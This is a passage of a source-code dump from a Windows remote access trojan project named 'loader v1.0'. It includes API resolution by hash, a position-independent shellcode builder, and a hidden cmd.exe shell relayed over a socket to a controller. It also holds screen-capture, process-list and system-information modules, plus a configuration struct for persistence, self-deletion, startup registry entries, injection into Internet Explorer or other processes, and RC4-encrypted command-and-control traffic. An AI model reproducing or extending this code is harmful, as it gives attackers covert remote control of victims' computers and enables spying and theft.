__in_opt LPCSTR lpCaption, __in UINT uType);
typedef int(WINAPI *_WideCharToMultiByte)(
__in UINT CodePage, __in DWORD dwFlags,
__in_ecount(cchWideChar) LPCWSTR lpWideCharStr, __in int cchWideChar,
__out_bcount_opt(cbMultiByte) __transfer(lpWideCharStr)
LPSTR lpMultiByteStr,
__in int cbMultiByte, __in_opt LPCSTR lpDefaultChar,
__out_opt LPBOOL lpUsedDefaultChar);
typedef DWORD(WINAPI *_GetTickCount)(VOID);
typedef int(PASCAL *_gethostname)(__out_bcount_part(namelen,
return ) char FAR *name,
__in int namelen);
typedef char *(PASCAL *_inet_ntoa)(__in struct in_addr in);
typedef UINT(WINAPI *_GetSystemDirectoryA)(
__out_ecount_part_opt(uSize, return +1) LPSTR lpBuffer, __in UINT uSize);
typedef UINT(WINAPI *_GetSystemDirectoryW)(
__out_ecount_part_opt(uSize, return +1) LPWSTR lpBuffer, __in UINT uSize);
typedef DWORD(APIENTRY *_GetFileVersionInfoSizeA)(
__in LPCSTR lptstrFilename, /* Filename of version stamped file */
__out_opt LPDWORD lpdwHandle /* Information for use by GetFileVersionInfo */
);
typedef BOOL(APIENTRY *_GetFileVersionInfoA)(
__in LPCSTR lptstrFilename, /* Filename of version stamped file */
__reserved DWORD dwHandle, /* Information from GetFileVersionSize */
__in DWORD dwLen, /* Length of buffer for info */
__out_bcount(dwLen) LPVOID lpData /* Buffer to place the data structure */
);
typedef BOOL(APIENTRY *_VerQueryValueA)(__in LPCVOID pBlock,
__in LPCSTR lpSubBlock,
LPVOID *lplpBuffer, __out PUINT puLen);
typedef int(__cdecl *_wnsprintfA)(__out_ecount(cchDest) LPSTR pszDest,
__in int cchDest,
__in __format_string LPCSTR pszFmt, ...);
typedef BOOL(WINAPI *_GetComputerNameW)(__out_ecount_part_opt(*nSize,
*nSize + 1)
LPWSTR lpBuffer,
__inout LPDWORD nSize);
typedef BOOL(WINAPI *_GetUserNameW)(__out_ecount_part_opt(*pcbBuffer,
*pcbBuffer)
LPWSTR lpBuffer,
__inout LPDWORD pcbBuffer);
typedef BOOL(WINAPI *_GlobalMemoryStatusEx)(__out LPMEMORYSTATUSEX lpBuffer);
typedef int(WINAPI *_GetLocaleInfoA)(__in LCID Locale,
__in LCTYPE LCType,
__out_ecount_opt(cchData) LPSTR lpLCData,
__in int cchData);
typedef int(WINAPI *_GetLocaleInfoW)(__in LCID Locale, __in LCTYPE LCType,
__out_ecount_opt(cchData) LPWSTR lpLCData,
__in int cchData);
typedef LPSTR(WINAPI *_lstrcatA)(__inout LPSTR lpString1,
__in LPCSTR lpString2
);
typedef LPSTR(WINAPI *_lstrcatW)(__inout LPWSTR lpString1,
__in LPCWSTR lpString2
);
typedef LSTATUS(APIENTRY *_RegQueryValueExA)(__in HKEY hKey,
__in_opt LPCSTR lpValueName,
__reserved LPDWORD lpReserved,
__out_opt LPDWORD lpType,
__out_bcount_part_opt(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData,
__inout_opt LPDWORD lpcbData
);
typedef BOOL(WINAPI *_CreatePipe)(__out_ecount_full(1) PHANDLE hReadPipe,
__out_ecount_full(1) PHANDLE hWritePipe,
__in_opt LPSECURITY_ATTRIBUTES lpPipeAttributes,
__in DWORD nSize
);
typedef BOOL(WINAPI *_GetExitCodeProcess)(__in HANDLE hProcess, __out LPDWORD lpExitCode);
typedef BOOL(WINAPI *_PeekNamedPipe)(__in HANDLE hNamedPipe,
__out_bcount_part_opt(nBufferSize, *lpBytesRead) LPVOID lpBuffer,
__in DWORD nBufferSize,
__out_opt LPDWORD lpBytesRead,
__out_opt LPDWORD lpTotalBytesAvail,
__out_opt LPDWORD lpBytesLeftThisMessage
);
typedef BOOL(WINAPI *_ReadFile)(
__in HANDLE hFile,
__out_bcount_part_opt(nNumberOfBytesToRead, *lpNumberOfBytesRead) __out_data_source(FILE) LPVOID lpBuffer,
__in DWORD nNumberOfBytesToRead,
__out_opt LPDWORD lpNumberOfBytesRead,
__inout_opt LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *_WriteFile)(
__in HANDLE hFile,
__in_bcount_opt(nNumberOfBytesToWrite) LPCVOID lpBuffer,
__in DWORD nNumberOfBytesToWrite,
__out_opt LPDWORD lpNumberOfBytesWritten,
__inout_opt LPOVERLAPPED lpOverlapped
);
typedef BOOL(WINAPI *_TerminateProcess)(
__in HANDLE hProcess,
__in UINT uExitCode
);
typedef HBITMAP(WINAPI *_CreateCompatibleBitmap)( __in HDC hdc, __in int cx, __in int cy);
typedef int(WINAPI *_GetDIBits)( __in HDC hdc, __in HBITMAP hbm, __in UINT start, __in UINT cLines, __out_opt LPVOID lpvBits, __inout_xcount(sizeof(BITMAPINFOHEADER)) LPBITMAPINFO lpbmi, __in UINT usage); // SAL actual size of lpbmi is computed from structure elements
typedef BOOL(WINAPI *_DeleteObject)( __in HGDIOBJ ho);
typedef HBITMAP(WINAPI *_CreateDIBSection)(__in_opt HDC hdc, __in CONST BITMAPINFO *lpbmi, __in UINT usage, __deref_opt_out VOID **ppvBits, __in_opt HANDLE hSection, __in DWORD offset);
typedef HDC(WINAPI *_CreateCompatibleDC)( __in_opt HDC hdc);
typedef HGDIOBJ(WINAPI *_SelectObject)(__in HDC hdc, __in HGDIOBJ h);
typedef BOOL(WINAPI *_DeleteDC)( __in HDC hdc);
typedef BOOL(WINAPI *_SetRect)(
__out LPRECT lprc,
__in int xLeft,
__in int yTop,
__in int xRight,
__in int yBottom);
typedef DWORD(WINAPI *_GetCurrentThreadId)(
VOID
);
typedef BOOL(WINAPI *_GetUserObjectInformationA)(
__in HANDLE hObj,
__in int nIndex,
__out_bcount_opt(nLength) PVOID pvInfo,
__in DWORD nLength,
__out_opt LPDWORD lpnLengthNeeded);
typedef int(WINAPI *_lstrcmpiA)(
__in LPCSTR lpString1,
__in LPCSTR lpString2
);
typedef BOOL(WINAPI *_SetThreadDesktop)(
__in HDESK hDesktop);
typedef BOOL(WINAPI *_CloseDesktop)(
__in HDESK hDesktop);
typedef int(WINAPI *_GetSystemMetrics)(
__in int nIndex);
typedef HWND(WINAPI *_GetDesktopWindow)(
VOID);
typedef HDC(WINAPI *_GetDC)(
__in_opt HWND hWnd);
typedef int(WINAPI *_ReleaseDC)(
__in_opt HWND hWnd,
__in HDC hDC);
typedef BOOL(WINAPI *_SetRectEmpty)(
__out LPRECT lprc);
typedef BOOL(WINAPI *_BitBlt)( __in HDC hdc, __in int x, __in int y, __in int cx, __in int cy, __in_opt HDC hdcSrc, __in int x1, __in int y1, __in DWORD rop);
typedef BOOL(WINAPI *_GetCursorPos)(
__out LPPOINT lpPoint);
typedef BOOL(WINAPI *_StretchBlt)(__in HDC hdcDest, __in int xDest, __in int yDest, __in int wDest, __in int hDest, __in_opt HDC hdcSrc, __in int xSrc, __in int ySrc, __in int wSrc, __in int hSrc, __in DWORD rop);
typedef HDESK(WINAPI *_GetThreadDesktop)(
__in DWORD dwThreadId);
typedef HDESK(WINAPI *_OpenInputDesktop)(
__in DWORD dwFlags,
__in BOOL fInherit,
__in ACCESS_MASK dwDesiredAccess);
typedef UINT(WINAPI *_GetSystemDirectoryA)(
LPSTR lpBuffer,
__in UINT uSize
);
UINT
typedef (WINAPI *_GetWindowsDirectoryW)(
LPWSTR lpBuffer,
__in UINT uSize
);
typedef BOOL(WINAPI *_CopyFileW)(
__in LPCWSTR lpExistingFileName,
__in LPCWSTR lpNewFileName,
__in BOOL bFailIfExists
);
typedef BOOL(WINAPI *_DeleteFileW)(
_In_ LPCWSTR lpFileName
);
================================================
FILE: loader v1.0/functions/functions/bitmap.inc
================================================
PBITMAPINFO __cdecl bitmap_create_info(global_data_t *global_data, HDC dc, int bit_count, int width, int height, int *bi_size) {
/*
bit_count Ϊ1 (ڰɫͼ) 4 (16 ɫͼ) 8 (256 ɫͼ) ʱɫָɫС
bit_count Ϊ16 (16 λɫͼ) 24 (ɫͼ, ֧) 32 (32 λɫͼ) ʱûɫ
*/
int color_num;
color_num = bit_count <= 8 ? 1 << bit_count : 0;
*bi_size = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
BITMAPINFO *bmp_info;
BITMAPINFOHEADER *bmp_info_header;
bmp_info = (BITMAPINFO *)alloc_memory(*bi_size);
bmp_info_header = &bmp_info->bmiHeader;
bmp_info_header->biSize = sizeof(BITMAPINFOHEADER);
bmp_info_header->biWidth = width;
bmp_info_header->biHeight = height;
bmp_info_header->biPlanes = 1;
bmp_info_header->biBitCount = bit_count;
bmp_info_header->biCompression = BI_RGB;
bmp_info_header->biXPelsPerMeter = 0;
bmp_info_header->biYPelsPerMeter = 0;
bmp_info_header->biClrUsed = 0;
bmp_info_header->biClrImportant = 0;
// Compute the number of bytes in the array of color
// indices and store the result in biSizeImage.
// For Windows NT, the width must be DWORD aligned unless
// the bitmap is RLE compressed. This example shows this.
// For Windows 95/98/Me, the width must be WORD aligned unless the
// bitmap is RLE compressed.
bmp_info_header->biSizeImage = (((width * bit_count + 31) & ~31) >> 3) * bmp_info_header->biHeight;
// 16λԺûɫֱӷ
if (bit_count >= 16) return bmp_info;
/*
Windows 95Windows 98lpvBitsΪNULLGetDIBitsɹBITMAPINFOṹôֵΪλͼܹɨ
Windows NTlpvBitsΪNULLGetDIBitsɹBITMAPINFOṹôֵΪ0ִʧܣô0ֵWindows NTøϢcallGetLastError
*/
HBITMAP bmp;
// ߲Ϊ0
bmp = xCreateCompatibleBitmap(dc, 1, 1);
// ȡcolor table
xGetDIBits(dc, bmp, 0, 0, 0, bmp_info, DIB_RGB_COLORS);
xDeleteObject(bmp);
return bmp_info;
}
bitmap_t * __cdecl bitmap_new(global_data_t *global_data, HDC src_dc, int bit_count, int width, int height) {
switch (bit_count) {
case 1:
case 4:
case 8:
case 16:
case 32:
break;
default:
bit_count = 8;
break;
}
bitmap_t *ret = alloc_memory(sizeof(bitmap_t));
ret->global_data = global_data;
ret->width = width;
ret->height = height;
ret->bit_count = bit_count;
ret->info = bitmap_create_info(global_data, src_dc, bit_count, width, height, &ret->info_size);
ret->bitmap = xCreateDIBSection(src_dc, ret->info, DIB_RGB_COLORS, &ret->bits, 0, 0);
ret->dc = xCreateCompatibleDC(src_dc);
ret->file_header.bfType = 0x4d42;
ret->file_header.bfSize = ret->info->bmiHeader.biSize + ret->info->bmiHeader.biSizeImage;
ret->file_header.bfOffBits = sizeof(BITMAPFILEHEADER) + ret->info->bmiHeader.biSize;
ret->file_header.bfReserved1 = 0;
ret->file_header.bfReserved2 = 0;
ret->bitmap_file_size = sizeof(BITMAPFILEHEADER) + ret->info_size + ret->info->bmiHeader.biSizeImage;
xSelectObject(ret->dc, ret->bitmap);
return ret;
}
#define global_data bmp->global_data
void __cdecl bitmap_free(bitmap_t *bmp) {
xDeleteDC(bmp->dc);
xDeleteObject(bmp->bitmap);
free_memory(bmp->info);
}
void * __cdecl bitmap_scan_line(bitmap_t *bmp, int line) {
if (bmp->height == 0) {
return (void *)bmp->bits;
}
// bmpɨ˳Ǵµϵ
int perline_size = bmp->info->bmiHeader.biSizeImage / bmp->height;
return (void *)((uint8_t *)bmp->bits + perline_size * (bmp->height - 1 - line));
}
void __cdecl bitmap_save(bitmap_t *bmp, buffer_t *buf) {
buffer_write(buf, &bmp->file_header, sizeof(BITMAPFILEHEADER));
buffer_write(buf, bmp->info, bmp->info_size);
buffer_write(buf, bmp->bits, bmp->info->bmiHeader.biSizeImage);
}
#undef global_data
================================================
FILE: loader v1.0/functions/functions/buffer.inc
================================================
buffer_t * __cdecl buffer_new(global_data_t *global_data) {
buffer_t *ret;
ret = (buffer_t *)alloc_memory(sizeof(buffer_t));
zero_memory(ret, sizeof(buffer_t));
ret->global_data = global_data;
return ret;
};
#define global_data buf->global_data // define globaldata for other
void __cdecl buffer_free(buffer_t *buf) {
if (buf->data != 0)
free_memory(buf->data);
free_memory(buf);
};
void __cdecl buffer_checkspace(buffer_t *buf, size_t l) {
if (buf->alloc - buf->size < l) {
size_t nsize = (buf->alloc) ? buf->alloc * 2 : BUFFER_INIT_SIZE;
while (nsize < buf->size + l) {
size_t tmp = nsize * 2;
if (tmp <= nsize) {
nsize = buf->size + l;
break;
}
nsize = tmp;
}
void *tmp;
if (buf->data == 0)
tmp = alloc_memory(nsize);
else
tmp = realloc_memory(buf->data, nsize);
buf->data = (uint8_t *)tmp;
buf->alloc = nsize;
}
};
void __cdecl buffer_write(buffer_t *buf, const void *v, size_t l) {
buffer_checkspace(buf, l);
copy_memory(buf->data + buf->size, v, l);
buf->size += l;
};
void __cdecl buffer_clear(buffer_t *buf) {
buf->size = 0;
};
#undef global_data // undef global_data
================================================
FILE: loader v1.0/functions/functions/cmd_shell.c
================================================
#include "global_data.h"
#include "shellcodes.h"
extern void __cdecl cmd_shell_entry(global_data_t *global_data);
extern int __cdecl cmd_shell_initialize(global_data_t *global_data, SOCKET s);
extern bool __cdecl cmd_shell_check(global_data_t *global_data);
extern int __cdecl cmd_shell_send_result(global_data_t *global_data, SOCKET s);
extern int __cdecl cmd_shell_execute(global_data_t *global_data, SOCKET s, const char *cmd);
extern int __cdecl cmd_shell_finalize(global_data_t *global_data, SOCKET s);
extern void __cdecl cmd_shell_code_end();
#pragma pack(push)
#pragma pack(1)
typedef struct {
wchar_t comspec[10];
wchar_t windir[9];
} cmd_shell_data_t;
#pragma pack(pop)
#define FIX(name) xcmd_shell.##name = (_##name)(delta + (char *)name)
#pragma optimize("ts", on)
void __cdecl cmd_shell_entry(global_data_t *global_data) {
uint32_t delta;
__asm {
call x;
x:
pop eax;
sub eax, offset x;
mov delta, eax
}
xcmd_shell.data = (void *)(delta + (char *)cmd_shell_code_end);
FIX(cmd_shell_initialize);
FIX(cmd_shell_send_result);
FIX(cmd_shell_execute);
FIX(cmd_shell_finalize);
}
int __cdecl cmd_shell_initialize(global_data_t *global_data, SOCKET s) {
extra_t *extra = extra_data();
cmd_shell_data_t *data = (cmd_shell_data_t *)xcmd_shell.data;
extra->state |= STATE_CMD_SHELL;
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
xCreatePipe(&xcmd_shell.input_read, &xcmd_shell.input_write, &sa, 0);
xCreatePipe(&xcmd_shell.output_read, &xcmd_shell.output_write, &sa, 0);
STARTUPINFOW si;
zero_memory(&si, sizeof(si));
si.cb = sizeof(si);
si.hStdOutput = xcmd_shell.output_write;
si.hStdError = xcmd_shell.output_write;
si.hStdInput = xcmd_shell.input_read;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
wchar_t cmd_path[MAX_PATH];
wchar_t current_path[MAX_PATH];
PROCESS_INFORMATION pi;
xExpandEnvironmentStringsW(data->comspec, cmd_path, sizeof(cmd_path));
xExpandEnvironmentStringsW(data->windir, current_path, sizeof(current_path));
xCreateProcessW(0, cmd_path, &sa, &sa, TRUE, 0, 0, current_path, &si, &pi);
xcmd_shell.cmd_handle = pi.hProcess;
xCloseHandle(pi.hThread);
int ret = xsend_packet(s, CMD_CMDSHELL_START, 0, 0);
return ret;
}
bool __cdecl cmd_shell_check(global_data_t *global_data) {
DWORD exit_code;
exit_code = 0;
xGetExitCodeProcess(xcmd_shell.cmd_handle, &exit_code);
return exit_code == STILL_ACTIVE;
}
extern int __cdecl cmd_shell_send_result(global_data_t *global_data, SOCKET s) {
DWORD length, temp, readed;
if (!cmd_shell_check(global_data)) {
return cmd_shell_finalize(global_data, s);
}
xPeekNamedPipe(xcmd_shell.output_read, 0, 0, 0, &length, 0);
if (length <= 0) return 0;
char *data = alloc_memory(length + 1);
readed = 0;
while (readed < length) {
if (!xReadFile(xcmd_shell.output_read, data + readed, length - readed, &temp, 0)) {
return cmd_shell_finalize(global_data, s);
}
readed += temp;
}
data[length] = 0;
int ret = 0;
buffer_t *buf = xbuffer_new();
mlp_bin(buf, data, length + 1);
free_memory(data);
ret = xsend_packet(s, CMD_CMDSHELL_DATA, (const char *)buf->data, buf->size);
xbuffer_free(buf);
return ret;
}
int __cdecl cmd_shell_execute(global_data_t *global_data, SOCKET s, const char *cmd) {
DWORD length, temp, writed;
if (!cmd_shell_check(global_data)) {
return cmd_shell_finalize(global_data, s);
}
length = xlstrlenA(cmd);
writed = 0;
while (writed < length) {
if (!xWriteFile(xcmd_shell.input_write, cmd + writed, length - writed, &temp, 0)) {
return cmd_shell_finalize(global_data, s);
}
writed += temp;
}
return cmd_shell_send_result(global_data, s);
}
int __cdecl cmd_shell_finalize(global_data_t *global_data, SOCKET s) {
extra_data()->state &= ~STATE_CMD_SHELL;
xTerminateProcess(xcmd_shell.cmd_handle, 0);
xCloseHandle(xcmd_shell.input_read);
xCloseHandle(xcmd_shell.input_write);
xCloseHandle(xcmd_shell.output_write);
xCloseHandle(xcmd_shell.output_read);
if (s != INVALID_SOCKET) {
return xsend_packet(s, CMD_CMDSHELL_END, 0, 0);
}
return 0;
}
void __cdecl cmd_shell_code_end() {
printf(__FUNCTION__);
}
#pragma optimize("ts", off)
#undef FIX // undef macro FIX
void cmd_shell_save(char *filename) {
char *start, *end;
FILE *f;
start = (char *)cmd_shell_entry;
end = (char *)cmd_shell_code_end;
printf("[*] cmd shell code size = 0x%X\n", end - start);
f = fopen(filename, "wb");
fwrite(start, 1, end - start, f);
cmd_shell_data_t data;
memset(&data, 0, sizeof(data));
lstrcpyW(data.comspec, L"%COMSPEC%");
lstrcpyW(data.windir, L"%WINDIR%");
printf("[*] cmd shell data size = 0x%X\n", sizeof(data));
fwrite(&data, 1, sizeof(data), f);
fclose(f);
printf("[*] save cmd shell to %s success.\n", filename);
}
================================================
FILE: loader v1.0/functions/functions/define.inc
================================================
#define xLoadLibraryA global_data->xLoadLibraryA
#define xGetProcAddress global_data->xGetProcAddress
#define xGetCurrentProcess global_data->xGetCurrentProcess
#define xCloseHandle global_data->xCloseHandle
#define xOpenProcess global_data->xOpenProcess
#define xlstrlenA global_data->xlstrlenA
#define xlstrlenW global_data->xlstrlenW
#define xlstrcpyA global_data->xlstrcpyA
#define xlstrcpyW global_data->xlstrcpyW
#define xlstrcmpiW global_data->xlstrcmpiW
#define xlstrcatW global_data->xlstrcatW
#define xHeapAlloc global_data->xHeapAlloc
#define xHeapReAlloc global_data->xHeapReAlloc
#define xHeapFree global_data->xHeapFree
#define xGetProcessHeap global_data->xGetProcessHeap
#define xGetModuleHandleA global_data->xGetModuleHandleA
#define xGetModuleFileNameW global_data->xGetModuleFileNameW
#define xCreateMutexA global_data->xCreateMutexA
#define xGetLastError global_data->xGetLastError
#define xSleep global_data->xSleep
#define xVirtualAllocEx global_data->xVirtualAllocEx
#define xVirtualFreeEx global_data->xVirtualFreeEx
#define xWriteProcessMemory global_data->xWriteProcessMemory
#define xWaitForSingleObject global_data->xWaitForSingleObject
#define xCreateToolhelp32Snapshot global_data->xCreateToolhelp32Snapshot
#define xProcess32FirstW global_data->xProcess32FirstW
#define xProcess32NextW global_data->xProcess32NextW
#define xExpandEnvironmentStringsW global_data->xExpandEnvironmentStringsW
#define xCreateProcessW global_data->xCreateProcessW
#define xCreateRemoteThread global_data->xCreateRemoteThread
#define xRtlZeroMemory global_data->xRtlZeroMemory
#define xRtlMoveMemory global_data->xRtlMoveMemory
#define xRtlCompressBuffer global_data->xRtlCompressBuffer
#define xRtlGetCompressionWorkSpaceSize global_data->xRtlGetCompressionWorkSpaceSize
#define xRtlDecompressBuffer global_data->xRtlDecompressBuffer
#define xOpenProcessToken global_data->xOpenProcessToken
#define xLookupPrivilegeValueA global_data->xLookupPrivilegeValueA
#define xAdjustTokenPrivileges global_data->xAdjustTokenPrivileges
#define xRegOpenKeyExA global_data->xRegOpenKeyExA
#define xRegCreateKeyExW global_data->xRegCreateKeyExW
#define xRegSetValueExW global_data->xRegSetValueExW
#define xRegQueryValueExW global_data->xRegQueryValueExW
#define xRegCloseKey global_data->xRegCloseKey
#define xWSAStartup global_data->xWSAStartup
#define xWSACleanup global_data->xWSACleanup
#define xhtons global_data->xhtons
#define xinet_addr global_data->xinet_addr
#define xgethostbyname global_data->xgethostbyname
#define xsocket global_data->xsocket
#define xclosesocket global_data->xclosesocket
#define xconnect global_data->xconnect
#define xsetsockopt global_data->xsetsockopt
#define xsend global_data->xsend
#define xrecv global_data->xrecv
#define xselect global_data->xselect
#define xGetSystemDirectoryW global_data->xGetSystemDirectoryW
#define xGetWindowsDirectoryW global_data->xGetWindowsDirectoryW
#define xCopyFileW global_data->xCopyFileW
#define get_proc_from_hash global_data->get_proc_from_hash
#define rc4_init global_data->rc4_init
#define rc4_crypt global_data->rc4_crypt
#define dlsym(a, b) x##b = (_##b)get_proc_from_hash(a, b##_Hash, xGetProcAddress)
#define zero_memory(a, b) xRtlZeroMemory(a, b)
#define copy_memory(a, b, c) xRtlMoveMemory(a, b, c)
#define alloc_memory(a) global_data->alloc_memory(global_data, a)
#define realloc_memory(a, b) global_data->realloc_memory(global_data, a, b)
#define free_memory(a) global_data->free_memory(global_data, a)
#define alloc_executable_memory(a, b) global_data->alloc_executable_memory(global_data, a, b)
#define free_executable_memory(a, b) global_data->free_executable_memory(global_data, a, b)
#define inject_memory(a, b, c) global_data->inject_memory(global_data, a, b, c)
#define compress(a, b, c, d) global_data->compress(global_data, a, b, c, d)
#define decompress(a, b, c, d) global_data->decompress(global_data, a, b, c, d)
#define wait_buffer(a, b, c) global_data->wait_buffer(global_data, a, b, c)
#define recv_data(a, b, c) global_data->recv_data(global_data, a, b, c)
#define send_data(a, b, c) global_data->send_data(global_data, a, b, c)
#define WideCharToMultiByte_Hash 0x1586B38D
#define MessageBoxA_Hash 0x6DBE321
#define GetTickCount_Hash 0x739B463C
#define gethostname_Hash 0x294C801D
#define inet_ntoa_Hash 0x6AAA5A67
#define GetSystemDirectoryA_Hash 0x4599D4E5
#define GetFileVersionInfoSizeA_Hash 0x21F935B0
#define GetFileVersionInfoA_Hash 0x10896CE1
#define VerQueryValueA_Hash 0x2C86E35
#define wnsprintfA_Hash 0x31EFB1A4
#define GetComputerNameW_Hash 0x7B8E4DB
#define GetUserNameW_Hash 0x3FDDCE23
#define GlobalMemoryStatusEx_Hash 0x573FA7C5
#define GetLocaleInfoA_Hash 0x6352029F
#define GetLocaleInfoW_Hash 0x635202B5
#define lstrcatA_Hash 0x61940C44
#define RegQueryValueExA_Hash 0x520D276D
#define CreatePipe_Hash 0x1D5E2712
#define GetExitCodeProcess_Hash 0x5B194A22
#define PeekNamedPipe_Hash 0x675D205C
#define ReadFile_Hash 0x3B07BD16
#define WriteFile_Hash 0x3BC8276B
#define TerminateProcess_Hash 0x90BAA3A
#define CreateCompatibleBitmap_Hash 0x3239F2EB
#define GetDIBits_Hash 0x495E766D
#define CreateDIBSection_Hash 0x1491701C
#define CreateCompatibleDC_Hash 0x3288E377
#define SelectObject_Hash 0x40EDCEC3
#define DeleteDC_Hash 0x19DD01DA
#define DeleteObject_Hash 0x4A77AB92
#define SetRect_Hash 0x506869BE
#define GetCurrentThreadId_Hash 0x39F69680
#define GetUserObjectInformationA_Hash 0x3CB39ABD
#define lstrcmpiA_Hash 0x705CF2A5
#define SetThreadDesktop_Hash 0xB44EEB4
#define CloseDesktop_Hash 0x53E66194
#define GetSystemMetrics_Hash 0x1028C0F2
#define GetDesktopWindow_Hash 0x4AA73B6
#define GetDC_Hash 0x6BF4B1C1
#define ReleaseDC_Hash 0x4F6E1CC2
#define SetRectEmpty_Hash 0x4FC4E8F3
#define BitBlt_Hash 0x1AD7E525
#define GetCursorPos_Hash 0x598CB350
#define StretchBlt_Hash 0x4FF19A01
#define GetThreadDesktop_Hash 0x717807B0
#define OpenInputDesktop_Hash 0x4DF183D4
================================================
FILE: loader v1.0/functions/functions/extra.inc
================================================
typedef buffer_t * (__cdecl *_buffer_new)(global_data_t *global_data);
typedef void (__cdecl *_buffer_free)(buffer_t *buf);
typedef void (__cdecl *_buffer_checkspace)(buffer_t *buf, size_t l);
typedef void (__cdecl *_buffer_write)(buffer_t *buf, const void *v, size_t l);
typedef void (__cdecl *_buffer_clear)(buffer_t *buf);
typedef void (__cdecl *_msgpack_lite_pack_nil)(buffer_t *buf);
typedef void (__cdecl *_msgpack_lite_pack_boolean)(buffer_t *buf, bool b);
typedef void (__cdecl *_msgpack_lite_pack_signed)(buffer_t *buf, int64_t i);
typedef void (__cdecl *_msgpack_lite_pack_unsigned)(buffer_t *buf, uint64_t i);
typedef void (__cdecl *_msgpack_lite_pack_float)(buffer_t *buf, float f);
typedef void (__cdecl *_msgpack_lite_pack_double)(buffer_t *buf, double d);
typedef void (__cdecl *_msgpack_lite_pack_real)(buffer_t *buf, double d);
typedef void (__cdecl *_msgpack_lite_pack_map_size)(buffer_t *buf, uint32_t n);
typedef void (__cdecl *_msgpack_lite_pack_str)(buffer_t *buf, const char *v);
typedef void (__cdecl *_msgpack_lite_pack_widestr)(buffer_t *buf, const wchar_t *v);
typedef void (__cdecl *_msgpack_lite_pack_bin_size)(buffer_t *buf, uint32_t n);
typedef void (__cdecl *_msgpack_lite_pack_bin)(buffer_t *buf, const void* v, uint32_t l);
typedef void (__cdecl *_msgpack_lite_pack_array_size)(buffer_t *buf, uint32_t n);
typedef void (__cdecl *_msgpack_lite_pack_insert)(buffer_t *buf, const void *v, uint32_t l);
typedef int (__cdecl *_send_packet)(global_data_t *global_data, SOCKET s, uint8_t cmd, const char *buf, size_t size);
typedef int (__cdecl *_recv_packet)(global_data_t *global_data, SOCKET s, uint8_t *cmd, void **buf, size_t *size);
typedef bitmap_t * (__cdecl *_bitmap_new)(global_data_t *global_data, HDC src_dc, int bit_count, int width, int height);
typedef void (__cdecl *_bitmap_free)(bitmap_t *bmp);
typedef void * (__cdecl *_bitmap_scan_line)(bitmap_t *bmp, int line);
typedef void (__cdecl *_bitmap_save)(bitmap_t *bmp, buffer_t *buf);
typedef void (__cdecl *_get_lan_info)(global_data_t *global_data, char *info);
typedef void (__cdecl *_get_os_version)(global_data_t *global_data, char *info, int size);
typedef uint32_t (__cdecl *_get_cpu_frequency)(global_data_t *global_data);
typedef int (__cdecl *_cmd_shell_initialize)(global_data_t *global_data, SOCKET s);
typedef int (__cdecl *_cmd_shell_send_result)(global_data_t *global_data, SOCKET s);
typedef int (__cdecl *_cmd_shell_execute)(global_data_t *global_data, SOCKET s, const char *cmd);
typedef int (__cdecl *_cmd_shell_finalize)(global_data_t *global_data, SOCKET s);
typedef int (__cdecl *_thumbnail_send)(global_data_t *global_data, SOCKET s);
typedef int (__cdecl *_screenspy_initalize)(global_data_t *global_data, SOCKET s, int bit_count);
typedef int (__cdecl *_screenspy_send)(global_data_t *global_data, SOCKET s);
typedef int (__cdecl *_screenspy_finalize)(global_data_t *global_data, SOCKET s);
typedef int (__cdecl *_process_send_list)(global_data_t *global_data, SOCKET s);
================================================
FILE: loader v1.0/functions/functions/functions.c
================================================
// functions.cpp : ̨Ӧóڵ㡣
//
#include "shellcodes.h"
#include "global_data.h"
#include
int _tmain(int argc, _TCHAR* argv[])
{
printf("extra size = %d\n", sizeof(extra_t));
shellcode_main_save("main.bin");
information_save("information.bin");
cmd_shell_save("cmd_shell.bin");
thumbnail_send_save("thumbnail.bin");
screenspy_save("screenspy.bin");
process_save("process.bin");
return 0;
}
================================================
FILE: loader v1.0/functions/functions/functions.vcxproj
================================================
Debug
Win32
Release
Win32
{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}
Win32Proj
functions
Application
true
v120
Unicode
Application
false
v120_xp
true
MultiByte
true
false
Use
Level3
Disabled
WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
true
Console
true
Level3
NotUsing
MinSpace
true
false
WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
true
false
false
MultiThreaded
false
/D _CRT_SECURE_NO_WARNINGS %(AdditionalOptions)
OnlyExplicitInline
Console
true
true
true
false
true
order.txt
================================================
FILE: loader v1.0/functions/functions/functions.vcxproj.filters
================================================
{4FC737F1-C7A5-4376-A066-2A32D752A2FF}
cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
{93995380-89BD-4b04-88EB-625FBE52EBFB}
h;hh;hpp;hxx;hm;inl;inc;xsd
{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
头文件
头文件
源文件
源文件
源文件
源文件
源文件
源文件
源文件
================================================
FILE: loader v1.0/functions/functions/functions.vcxproj.user
================================================
true
================================================
FILE: loader v1.0/functions/functions/global_data.h
================================================
#ifndef GLOBAL_DATA_H
#define GLOBAL_DATA_H
#include
#include
#include
#include
#include
#include
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef struct global_data global_data_t, *global_data_p;
typedef struct extra_function extra_function_t;
#include "apis.inc"
#include "shellcode.inc"
#pragma pack(push)
#pragma pack(1)
struct extra_function {
union {
u64 ptr64;
struct {
u32 ptr32;
u32 dummy;
};
};
u16 size;
};
// loaderеĽṹͬ
struct global_data {
u8 is_wow64;
wchar_t loader_path[256];
char mutex_name[100];
u8 persistence;
u8 melt;
u8 copy_method;
wchar_t copy_to[100];
u8 startup_hklm;
wchar_t nklm_name[100];
u8 startup_acitvex;
wchar_t activex_name[100];
u8 inject_to_ie;
u8 inject_to_custom;
wchar_t custom_process_name[100];
wchar_t group[12];
wchar_t id[12];
u8 dns_list[256];
u8 socks5;
u8 socks5_dns[100];
u16 socks5_port;
u8 socks5_user[100];
u8 socks5_pass[100];
u8 rc4_key[260];
u8 send_sbox[256];
